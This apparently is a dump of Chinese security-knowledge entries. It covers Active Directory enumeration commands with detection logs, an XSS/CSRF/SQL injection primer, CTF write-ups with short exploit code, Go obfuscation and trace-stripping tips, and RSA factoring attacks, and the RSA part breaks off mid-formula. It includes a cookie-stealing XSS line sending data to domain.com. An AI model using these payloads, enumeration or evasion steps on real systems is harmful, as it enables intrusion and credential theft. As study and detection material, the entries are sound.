text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# T1482-win-活动目录信息获取检测
## 来自ATT&CK的描述
攻击者可能会尝试收集有关域信任关系的信息,这些信息可用于识别Windows多域或林环境中的横向移动的机会。域信任为域提供了一种机制,以允许基于另一个域的身份验证过程访问资源。域信任允许受信任域的用户访问信任域中的资源。发现的信息可以帮助攻击者进行SID历史记录注入、票据传递和Kerberoasting。可以使用DSEnumerateDomainTrusts()Win32 API调用,.NET方法和LDAP枚举域信任。已知Windows实用程序Nltest被攻击者用来枚举域信任信息。
## 测试案例
在本文中将介绍以下内容:
- 使用csvde获取活动目录信息
- 使用ldifde获取活动目录信息
- 使用AdFind获取活动目录信息
- 使用nltest获取域内信息关系
## 检测日志
Windows安全日志、sysmon日志
## 测试复现
### 0x01 使用csvde获取活动目录信息
说明文档:
<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732101(v=ws.11)>
使用csvde导出的文件格式为csv,可以使用Microsoft Excel查看
默认只能在以下系统使用,例如:
- Windows Server 2003
- Windows Server 2008
- Windows Server 2003 R2
- Windows Server 2008 R2
- Windows Server 2012,
- Windows Server 2003 with SP1
- Windows 8
- ~
#### 导出当前域内活动目录信息示例
```yml
导出当前域内所有信息:
csvde -f all.csv
导出当前域内所有用户信息:
csvde -f user.csv -r "(&(objectCategory=person))"
导出当前域内所有机器信息:
csvde -f machine.csv -r "(&(objectCategory=computer))"
导出当前域内所有组信息:
csvde -f group.csv -r "(&(objectCategory=group))"
导出当前域内所有管理员组的用户信息:
csvde -f admin.csv -r "(&(objectCategory=group)(name=Domain Admins))"
导出当前域内所有OU信息:
csvde -f ou.csv -r "(&(objectCategory=organizationalUnit))"
导出当前域内所有的域用户名:
csvde -f username.csv -r "(&(objectCategory=person))" -l SamAccountName
导出当前域内所有的计算机名:
csvde -f machinename.csv -r "(&(objectCategory=computer))" -l name
```
##### 模拟测试效果
```yml
#域控制器模拟测试效果windows server 2016
C:\Users\12306br0>csvde -f all.csv
连接到“(null)”
用 SSPI 作为当前用户登录
将目录导出到文件 all.csv
搜索项目...
写出项目
...............................................................................................................................................................................................................................
导出完毕。后续处理正在进行...
导出了 223 个项目
命令已成功完成
```
##### 测试留痕效果
```yml
#windows安全日志4688进程创建
已创建新进程。
创建者主题:
安全 ID: 361A\12306br0
帐户名: 12306br0
帐户域: 361A
登录 ID: 0x36D7FD
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x12c0
新进程名称: C:\Windows\System32\csvde.exe
令牌提升类型: %%1938
强制性标签: Mandatory Label\Medium Mandatory Level
创建者进程 ID: 0x1234
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: csvde -f all.csv
```
##### 建议
备注:通过Windows安全日志可以看到,在进程csvde创建之后;会进行端口绑定活动生成事件5158;接着进行筛选连接行为生成事件5156,端口389;最后关闭进程事件4689.
#### 从域外远程导出活动目录信息示例
```yml
导出远程域内所有信息:
csvde -s 192.168.1.1 -a test\admin Password -f all.csv
```
暂无模拟测试以及测试留痕数据。
### 0x02 使用ldifde获取活动目录信息
说明文档:
<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)>
使用ldifde导出的文件格式为LDIF,可以使用notepad.exe查看
#### 导出当前域内活动目录信息示例
```yml
导出当前域内所有信息:
ldifde -f all.txt
导出当前域内所有用户信息:
ldifde -r "(&(objectCategory=person))" -f user.txt
导出当前域内所有机器信息:
ldifde -r "(&(objectCategory=computer))" -f machine.txt
导出当前域内所有组信息:
ldifde -r "(&(objectCategory=group))" -f group.txt
导出当前域内所有管理员组的用户信息:
ldifde -r "(&(objectCategory=group)(name=Domain Admins))" -f admin.txt
导出当前域内所有OU信息:
ldifde -r "(&(objectCategory=organizationalUnit))" -f ou.txt
导出当前域内所有的域用户名:
ldifde -r "(&(objectCategory=person))" -l SamAccountName -f username.txt
导出当前域内所有的计算机名:
ldifde -r "(&(objectCategory=computer))" -l name -f machinename.txt
```
##### 模拟测试效果
```yml
C:\Users\12306br0\Desktop\AdFind>ldifde -f all.txt
连接到“12306BR0B4DD.361a.com”
用 SSPI 作为当前用户登录
将目录导出到文件 all.txt
搜索项目...
写出项目...............................................................................................................................................................................................................................
导出了 223 个项目
命令已成功完成
C:\Users\12306br0\Desktop\AdFind>
```
##### 测试留痕效果
```yml
已创建新进程。
创建者主题:
安全 ID: 361A\12306br0
帐户名: 12306br0
帐户域: 361A
登录 ID: 0x36D7FD
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0xdd8
新进程名称: C:\Windows\System32\ldifde.exe
令牌提升类型: %%1938
强制性标签: Mandatory Label\Medium Mandatory Level
创建者进程 ID: 0x69c
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: ldifde -f all.txt
```
##### 建议
备注:基于Windows安全日志检测该异常行为,重点可关注Windows安全日志中的4688、5158、5156、4689事件,其中进程信息、目标端口(53、389)可作为重点关注对象。
#### 从域外远程导出活动目录信息示例
```yml
导出远程域内所有信息:
ldifde -s 192.168.1.1 -a test\admin Password -f all.txt
```
暂无模拟测试以及测试留痕数据。
### 0x03 使用AdFind获取活动目录信息
下载地址:<https://www.joeware.net/freetools/tools/adfind/>
#### 导出当前域内活动目录信息示例
```yml
导出当前域内所有信息:
adfind.exe -h 127.0.0.1>all.tx
导出当前域内所有用户信息:
adfind.exe -h 127.0.0.1 -f objectcategory=person>user.txt
导出当前域内所有机器信息:
adfind.exe -h 127.0.0.1 -f objectcategory=computer>machine.txt
导出当前域内所有组信息:
adfind.exe -h 127.0.0.1 -f objectcategory=group>group.txt
导出当前域内所有管理员组的用户信息:
adfind.exe -h 127.0.0.1 -f "(&(objectCategory=group)(name=Domain Admins))">admin.txt
导出当前域内所有OU信息:
adfind.exe -h 127.0.0.1 -f objectcategory=organizationalUnit>ou.txt
导出当前域内所有的域用户名:
adfind.exe -h 127.0.0.1 -f objectcategory=person SamAccountName>username.txt
导出当前域内所有的计算机名:
adfind.exe -h 127.0.0.1 -f objectcategory=computer name>machinename.txt
```
##### 模拟测试效果
```yml
C:\Users\12306br0\Desktop\AdFind>AdFind.exe -h 127.0.0.1>all.txt
AdFind V01.52.00cpp Joe Richards (support@joeware.net) January 2020
```
##### 测试留痕效果
```yml
#windows安全日志进程创建4688,Windows server 2016测试效果
已创建新进程。
创建者主题:
安全 ID: 361A\12306br0
帐户名: 12306br0
帐户域: 361A
登录 ID: 0x36D7FD
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x10a4
新进程名称: C:\Users\12306br0\Desktop\AdFind\AdFind.exe
令牌提升类型: %%1938
强制性标签: Mandatory Label\Medium Mandatory Level
创建者进程 ID: 0x69c
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: AdFind.exe -h 127.0.0.1
```
##### 建议
备注:基于Windows安全日志检测该异常行为,重点可关注Windows安全日志中的4688、5158、5156、4689事件,其中进程信息、目标端口(389)可作为重点关注对象。
#### 从域外远程导出活动目录信息示例
```yml
导出远程域内所有信息:
adfind.exe -h 192.168.1.1 -u test\admin -up Password>all.txt
```
暂无模拟测试以及测试留痕数据。
### 0x04 使用Nltest获取活动目录信息
说明文档:
<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731935(v=ws.11)>
#### 使用语法
```yml
nltest [/域控服务器: <servername>] [<operation> [<parameter>]
/server:<ServerName>在您指定的远程域控制器上运行nltest。如果未指定此参数,则nltest在本地计算机(即域控制器)上运行。
```
```yml
导出当前域内活动目录信息示例
显示域的信任关系下面的示例列出了为您的域建立的信任关系。
nltest /domain_trusts
```
##### 模拟测试效果
```yml
PS C:\Users\wangxin> nltest /domain_trusts
域信任的列表:
0: 361A 361a.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
此命令成功完成
```
##### 测试留痕效果
```yml
#Windows安全日志,4688进程创建,windows server 2008
已创建新进程。
主题:
安全 ID: 361A\wangxin
帐户名: wangxin
帐户域: 361A
登录 ID: 0x23cb8
进程信息:
新进程 ID: 0xa08
新进程名: C:\Windows\System32\nltest.exe
令牌提升类型: TokenElevationTypeDefault (1)
创建者进程 ID: 0x9e8
```
##### 建议
备注:建议基于Windows安全日志中的进程信息进行检测。
## 参考推荐
MITRE-ATT&CK-T1482
<https://attack.mitre.org/techniques/T1482/>
渗透基础——活动目录信息的获取2:Bypass AV
<https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%962_Bypass-AV>
|
sec-knowleage
|
# 攻击技术
<!-- GFM-TOC -->
* [攻击技术](#攻击技术)
* [一、跨站脚本攻击](#一跨站脚本攻击)
* [二、跨站请求伪造](#二跨站请求伪造)
* [三、SQL 注入攻击](#三sql-注入攻击)
* [四、拒绝服务攻击](#四拒绝服务攻击)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 一、跨站脚本攻击
### 概念
跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。
### 攻击原理
例如有一个论坛网站,攻击者可以在上面发布以下内容:
```html
<script>location.href="//domain.com/?c=" + document.cookie</script>
```
之后该内容可能会被渲染成以下形式:
```html
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
### 危害
- 窃取用户的 Cookie
- 伪造虚假的输入表单骗取个人信息
- 显示伪造的文章或者图片
### 防范手段
#### 1. 设置 Cookie 为 HttpOnly
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。
#### 2. 过滤特殊字符
例如将 `<` 转义为 `<`,将 `>` 转义为 `>`,从而避免 HTML 和 Jascript 代码的运行。
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 `<` 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。
以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
```html
<h1 id="title">XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
```
```html
<h1>XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
```
> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
## 二、跨站请求伪造
### 概念
跨站请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。
XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。
### 攻击原理
假如一家银行用以执行转账操作的 URL 地址如下:
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
```
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
```
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
```
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 美元。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
通过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
### 防范手段
#### 1. 检查 Referer 首部字段
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 CSRF 攻击。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
#### 2. 添加校验 Token
在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
#### 3. 输入验证码
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。
## 三、SQL 注入攻击
### 概念
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
### 攻击原理
例如一个网站登录验证的 SQL 查询代码为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
```
如果填入以下内容:
```sql
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
```
那么 SQL 查询字符串为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
```
此时无需验证通过就能执行以下查询:
```sql
strSQL = "SELECT * FROM users;"
```
### 防范手段
#### 1. 使用参数化查询
Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
```java
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
```
#### 2. 单引号转换
将传入的参数中的单引号转换为连续两个单引号,PHP 中的 Magic quote 可以完成这个功能。
## 四、拒绝服务攻击
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
## 参考资料
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
- [维基百科:SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
sec-knowleage
|
## The Secret Store (Web, 70p)
Description: We all love secrets. Without them, our lives would be dull.
A student wrote a secure secret store, however he was babbling about problems with the database.
Maybe I shouldn't use the 'admin' account.
Hint1: Account deletion is intentional.
Hint2: I can't handle long usernames.
###ENG
[PL](#pl-version)
In the task we get access to www page which allows us to register a user and set a "secret" value for him.
We expected that we were supposed to login as admin and the secret for the admin would be the flag.
We spent a lot of time on this, trying a lot of stuff including XSS (the page was vulnerable), blind SQLi and many more.
We have noticed that it was possible to change password for our users if we tried to register them again, but this didn't work for admin user.
The solution turned out to be rather simple - the limit for number of characters in login was 32, however the check for existing accounts took whole input to test.
This means that registering a user with 33 character in login would in fact register this user with only first 32 character as login, but the check for unique login would be performed on whole 33 characters input.
Therefore we registered user with login:
```python
payload = 'admin'+(' '*27)+'aa'
```
Which meant that in reality we simply changed the password for `admin` user since spaces were omitted.
The flag was: `IW{TRUNCATION_IS_MY_FRIEND}`
###PL version
W zadaniu dostajemy dostęp do strony www która pozwala zarejestrowac użytkownika i ustawić dla niego "sekretną" wartość.
Założyliśmy, że musimy zalogować się jako admiin a sekretna wartość będzie flagą.
Spędziliśmy nad tym zadaniem bardzo dużo czasu próbując różnych podejść, między innymi XSS (strona była podatna), ślepe SQLi i wiele innych.
Zauważyliśmy że jest możliwość zmiany hasła dla naszych użytkowników poprzez ponowną ich rejestracje, ale to nie działało dla admina.
Rozwiązanie okazało się dość proste - limit na długość loginu wynosił 32 znaki, ale test unikalności loginu był przeprowadzany dla całego wejścia.
To oznacza że rejestracja użytkownika z loginem na 33 znaki w rzeczywistości zarejestrowałby użytkownika z pierwszymi 32 znakami jako login, ale sprawdzenie czy taki użytkownik nie istnieje brałoby pod uwagę 33 znaki.
W związku z tym zarejestrowaliśmy użytkownika:
```python
payload = 'admin'+(' '*27)+'aa'
```
Co oznacza że w praktyce zmieniliśmy hasło dla `admin`, bo spacje zostały pominięte.
W ten sposób uzyskaliśmy flagę: `IW{TRUNCATION_IS_MY_FRIEND}`
|
sec-knowleage
|
# ACME (crypto, 400p)
In the challenge we get a [protocol specs](ACME_Protocol.docx), a [simple client](refClient.py), an [example reference server](refServer.py), and also a [real server binary](server) alongside [runner script](challengeServer.py).
So technically in fact the flag is in the binary we have, but it seems to be packed and protected againts reversing.
We've got here some statelss crypto protocol, which challenges us in order to login and execute commands.
There is `getflag` command, so we just need to properly authenticate.
The idea is that we send login to the server, and the server returns to us `nonce` and encypted challenge cookie, which contains the nonce again, our login and timesatmp.
In order to authenticate we need to send back SHA256 of nonce+password and the cookie again (since protocol is statelss).
The server checks if password is correct, and if it is, we get a ticket, which contains encrypted user identity info (json with some data) plus a timestamp.
Since we have all the data, we could try to somehow modify them.
It's AES-CBC encrypted so we could theoretically to some bitflipping to modify the plaintext.
However, if we notice that the challenge cookie is very similar to the authentication ticket we can skip even this.
The challenge cookie is: `8 bytes nonce + user login + timestamp` and authentication ticket is `json data + timestamp`.
In AES-CBC we can easily just remove first block (the IV) and the cipher will treat the next block as IV, which means effectively we just removed the first block of the plaintext.
So if we send to the server login: `'X' * 8 + '{"user":"x","groups":["admin"]}'`, and remove the first encrypted block, the ciphertext we get decrypts to a perfect ticket.
So we simply run the server, run the client exploit:
```python
def main():
host = "localhost"
port = 9999
username = 'X' * 8 + '{"user":"x","groups":["admin"]}'
client = Client(host, port)
client.sendMessage_LogonRequest(username)
(nonce, challengeCookie) = client.expectMessage_LogonChallenge()
ticket = b64encode(b64decode(challengeCookie)[16:])
print(client.execute(ticket, 'getflag'))
```
And recover the flag: `TMCTF{90F41EF71ED5}`
|
sec-knowleage
|
# GO安全
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 代码混淆
- [burrowers/garble](https://github.com/burrowers/garble)
- [unixpickle/gobfuscate](https://github.com/unixpickle/gobfuscate)
---
## 特征清除
**相关文章**
- [如何消除Go的编译特征](https://mp.weixin.qq.com/s/Z0SpYJBikdwA_foPkxnWFQ)
**相关工具**
- [boy-hack/go-strip](https://github.com/boy-hack/go-strip) - 清除 Go 编译时自带的信息
```bash
# 打印出读取的信息
go-strip -f binary.exe
# 消除Go的编译信息
go-strip -f binary.exe -a -output new.exe
```
**禁用符号表和调试信息**
虽然 Go 是编译成二进制后运行的,但其默认编译机制(Release With Debug Info)会泄漏一些信息。
默认情况下, Go 程序在运行出错时,会输出如上报错信息(在哪个线程,哪个文件,哪个函数,哪行出的错)。
这两个信息可以在编译时进行禁用:
```
go build -ldflags "-s -w” <package>
```
**隐藏环境变量**
报错信息中目录信息的来源是编译器运行时所处环境的环境变量。
编译时,Go 会从 $GOPATH 寻找我们的代码,从 $GOROOT 提取标准库。在打包时将 $GOPATH 改写为 $GOROOT_FINAL 并作为调试信息的一部分写入目标文件。
要隐藏真实的 $GOPATH ,需要在另外一个目录里对真实的 $GOPATH 创建一个软链接,编译器在寻找时就会把软链接的目录名写到最终文件里,从而达到隐藏目的。
```bash
ACTUAL_GOPATH = "~/Project"
export GOPATH = '/tmp'
export GOROOT_FINAL = $GOPATH
[ ! -d $GOPATH ] && ln -s "$ACTUAL_GOPATH" "$GOPATH"
[[ ! $PATH =~ $GOPATH ]] && export PATH=$PATH:$GOPATH/bin
```
---
## Go代码审计
- [Go代码审计](./Go安全/Go代码审计.md)
|
sec-knowleage
|
name: Production workflow
on:
push:
branches:
- main
paths-ignore:
- README.md
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: Setup node
uses: actions/setup-node@v2
with:
node-version: '12.22.1'
- run: |
sed -i 's/VSSUECLIENTID/${{ secrets.VSSUECLIENTID }}/g' docs/.vuepress/config.js
sed -i 's/VSSUECLIENTSECRET/${{ secrets.VSSUECLIENTSECRET }}/g' docs/.vuepress/config.js
yarn install
yarn docs:build
cp LICENSE docs/.vuepress/dist/
cp robots.txt docs/.vuepress/dist/
- name: Deploy to netlify
uses: careflow/netlify-actions/cli@master
env:
NETLIFY_SITE_ID: ${{ secrets.PROD_NETLIFY_SITE_ID }}
NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }}
with:
args: deploy --dir=docs/.vuepress/dist --prod
|
sec-knowleage
|
### 暴力分解 N攻击条件
在 N 的比特位数小于 512 的时候,可以采用大整数分解的策略获取 p 和 q。
### p & q 不当分解 N攻击条件
当 RSA 中 p 和 q 选取不当时,我们也可以进行攻击。
### p & q 不当分解 N考虑|p-q| 很大
当 p-q 很大时,一定存在某一个参数较小,这里我们假设为 p,那么我们可以通过穷举的方法对模数进行试除,从而分解模数,得到保密参数与明文信息。基本来说,不怎么可行。
### p & q 不当分解 N考虑|p-q| 较小
首先
$$
\frac{(p+q)^2}{4}-n=\frac{(p+q)^2}{4}-pq=\frac{(p-q)^2}{4}
$$
既然 |p-q| 较小,那么 $\frac{(p-q)^2}{4}$ 自然也比较小,进而 $\frac{(p+q)^2}{4}$ 只是比 N 稍微大一点,所以 $\frac{p+q}{2}$ 与 $\sqrt{n}$ 相近。那么我们可以按照如下方法来分解
- 顺序检查 $\sqrt{n}$ 的每一个整数 x,直到找到一个 x 使得 $x^2-n$ 是平方数,记为 $y^2$
- 那么 $x^2-n=y^2$,进而根据平方差公式即可分解 N
### p & q 不当分解 N考虑p - 1 光滑
* 光滑数(Smooth number):指可以分解为小素数乘积的正整数
* 当$p$是$N$的因数,并且$p-1$是光滑数,可以考虑使用`Pollard's p-1`算法来分解$N$
* 根据费马小定理有
$$若p\nmid a,\ 则a^{p-1}\equiv 1\pmod{p}$$
则有
$$a^{t(p-1)}\equiv 1^t \equiv 1\pmod{p}$$
即
$$a^{t(p-1)} - 1 = k*p$$
* 根据`Pollard's p-1`算法:
如果$p$是一个$B-smooth\ number$,那么则存在
$$M = \prod_{q\le{B}}{q^{\lfloor\log_q{B}\rfloor}}$$
使得
$$(p-1)\mid M$$
成立,则有
$$\gcd{(a^{M}-1, N)}$$
如果结果不为$1$或$N$,那么就已成功分解$N$。
因为我们只关心最后的gcd结果,同时`N`只包含两个素因子,则我们不需要计算$M$,考虑$n=2,3,\dots$,令$M = n!$即可覆盖正确的$M$同时方便计算。
* 在具体计算中,可以代入降幂进行计算
$$
a^{n!}\bmod{N}=\begin{cases}
(a\bmod{N})^2\mod{N}&n=2\\
(a^{(n-1)!}\bmod{N})^n\mod{N}&n\ge{3}
\end{cases}$$
* Python代码实现
```python
from gmpy2 import *
a = 2
n = 2
while True:
a = powmod(a, n, N)
res = gcd(a-1, N)
if res != 1 and res != N:
q = N // res
d = invert(e, (res-1)*(q-1))
m = powmod(c, d, N)
print(m)
break
n += 1
```
### p & q 不当分解 N考虑p + 1 光滑
* 当$p$是$N$的因数,并且$p+1$是光滑数,可以考虑使用`Williams's p+1`算法来分解$N$
* 已知$N$的因数$p$,且$p+1$是一个光滑数
$$
p = \left(\prod_{i=1}^k{q_i^{\alpha_i}}\right)+1
$$
$q_i$即第$i$个素因数且有$q_i^{\alpha_i}\le B_1$, 找到$\beta_i$使得让$q_i^{\beta_i}\le B_1$且$q_i^{\beta_i+1}> B_1$,然后令
$$
R = \prod_{i=1}^k{q_i^{\beta_i}}
$$
显然有$p-1\mid R$且当$(N, a) = 1$时有$a^{p-1}\equiv 1 \pmod{p}$,所以有$a^R\equiv 1\pmod{p}$,即
$$
p\mid(N, a^R-1)
$$
* 令$P,Q$为整数,$\alpha,\beta$为方程$x^2-Px+Q=0$的根,定义如下类卢卡斯序列
$$
\begin{aligned}
U_n(P, Q) &= (\alpha^n -\beta^n)/(\alpha - \beta)\\
V_n(P, Q) &= \alpha^n + \beta^n
\end{aligned}
$$
同样有$\Delta = (\alpha - \beta)^2 = P^2-4Q$,则有
$$
\begin{cases}
U_{n+1} &= PU_n - QU_{n-1}\\
V_{n+1} &= PV_n - QV_{n-1}
\end{cases}\tag{2.2}
$$
$$
\begin{cases}
U_{2n} &= V_nU_n\\
V_{2n} &= V_n^2 - 2Q^n
\end{cases}\tag{2.3}
$$
$$
\begin{cases}
U_{2n-1} &= U_n^2 - QU_{n-1}^2\\
V_{2n-1} &= V_nV_{n-1} - PQ^{n-1}
\end{cases}\tag{2.4}
$$
$$
\begin{cases}
\Delta U_{n} &= PV_n - 2QV_{n-1}\\
V_{n} &= PU_n - 2QU_{n-1}
\end{cases}\tag{2.5}
$$
$$
\begin{cases}
U_{m+n} &= U_mU_{n+1} - QU_{m-1}U_n\\
\Delta U_{m+n} &= V_mV_{n+1} - QV_{m-1}V_n
\end{cases}\tag{2.6}
$$
$$
\begin{cases}
U_{n}(V_k(P, Q), Q^k) &= U_{nk}(P, Q)/U_k(P, Q)\\
V_{n}(V_k(P, Q), Q^k) &= V_n(P, Q)
\end{cases}\tag{2.7}
$$
同时我们有如果$(N, Q) = 1$且$P^{'}Q\equiv P^2-2Q\pmod{N}$,则有$P^{'}\equiv \alpha/\beta + \beta/\alpha$以及$Q^{'}\equiv \alpha/\beta + \beta/\alpha = 1$,即
$$
U_{2m}(P, Q)\equiv PQ^{m-1}U_m(P^{'}, 1)\pmod{N}\tag{2.8}
$$
根据扩展卢卡斯定理
>如果p是奇素数,$p\nmid Q$且勒让德符号$(\Delta/p) = \epsilon$,则
$$
\begin{aligned}
U_{(p-\epsilon)m}(P, Q) &\equiv 0\pmod{p}\\
V_{(p-\epsilon)m}(P, Q) &\equiv 2Q^{m(1-\epsilon)/2}\pmod{p}
\end{aligned}
$$
* `第一种情况`:已知N的因数p,且p+1是一个光滑数
$$
p = \left(\prod_{i=1}^k{q_i^{\alpha_i}}\right)-1
$$
有$p+1\mid R$,当$(Q, N)=1$且$(\Delta/p) = -1$时有$p\mid U_R(P, Q)$,即$p\mid (U_R(P, Q), N)$
为了找到$U_R(P, Q)$,`Guy`和`Conway`提出可以使用如下公式
$$
\begin{aligned}
U_{2n-1} &= U_n^2 - QU_n^2 - 1\\
U_{2n} &= U_n(PU_n - 2QU_{n-1})\\
U_{2n+1} &= PU_{2n} - QU_{2n-1}
\end{aligned}
$$
但是上述公式值太大了,不便运算,我们可以考虑如下方法
如果$p \mid U_R(P, 1)$,根据`公式2.3`有$p\mid U_{2R}(P, Q)$,所以根据`公式2.8`有$p \mid U_R(P^{'}, 1)$,设$Q=1$,则有
$$
V_{(p-\epsilon)m}(P, 1) \equiv 2\pmod{p}
$$
即,如果$p\mid U_R(P, 1)$,则$p\mid(V_R(P, 1) -2)$.
第一种情况可以归纳为:
让$R = r_1r_2r_3\cdots r_m$,同时找到$P_0$使得$(P_0^2-4, N) = 1$,定义$V_n(P) = V_n(P, 1), U_n(P) = U_n(P, 1)$且
$$
P_j \equiv V_{r_j}(P_{j-1})\pmod{N}(j = 1,2,3,\dots,m)
$$
根据`公式2.7`,有
$$
P_m \equiv V_R(P_0)\pmod{N}\tag{3.1}
$$
要计算$V_r = V_r(P)$可以用如下公式
根据`公式2.2`,`公式2.3`,`公式2.4`有
$$
\begin{cases}
V_{2f-1}&\equiv V_fV_{f-1}-P\\
V_{2f}&\equiv V_f^2 - 2\\
V_{2f+1}&\equiv PV_f^2-V_fV_{f-1}-P\pmod(N)
\end{cases}
$$
令
$$
r = \sum_{i=0}^t{b_t2^{t-i}}\ \ \ \ (b_i=0,1)
$$
$f_0=1, f_{k+1}=2f_k+b_{k+1}$,则$f_t=r$,同样$V_0(P) = 2, V_1(P) = P$,则最终公式为
$$
(V_{f_{k+1}}, V_{f_{k+1}-1}) = \begin{cases}
(V_{2f_k}, V_{2f_k-1})\ \ \ \ if\ b_{k+1}=0\\
(V_{2f_k+1}, V_{2f_k})\ \ \ \ if\ b_{k+1}=1
\end{cases}
$$
* `第二种情况`:已知p+1是一个光滑数
$$
p = s\left(\prod_{i=1}^k{q_i^{\alpha_i}}\right)-1
$$
当$s$是素数,且$B_1<s\le B_2$,有$p\mid(a_m^s-1, N),$定义$s_j$和$2d_j$
$$
2d_j = s_j+1-s_j
$$
如果$(\Delta/p) = -1$且$p\nmid P_m-2$,则根据`公式2.7`和`公式3.1`有$p\mid(U_s(P_m), N)$。
令$U[n] \equiv U_n(P_m), V[n]\equiv V_n(P_m)\pmod{N}$,计算$U[2d_j-1], U[2d_j], U[2d_j+1]$通过
$$U[0] = 0, U[1] = 1, U[n+1] = P_mU[n] - U[n-1]$$
计算
$$
T[s_i] \equiv \Delta U_{s_i}(P_m) = \Delta U_{s_iR}(P_0)/U_R(P_0)\pmod{N}
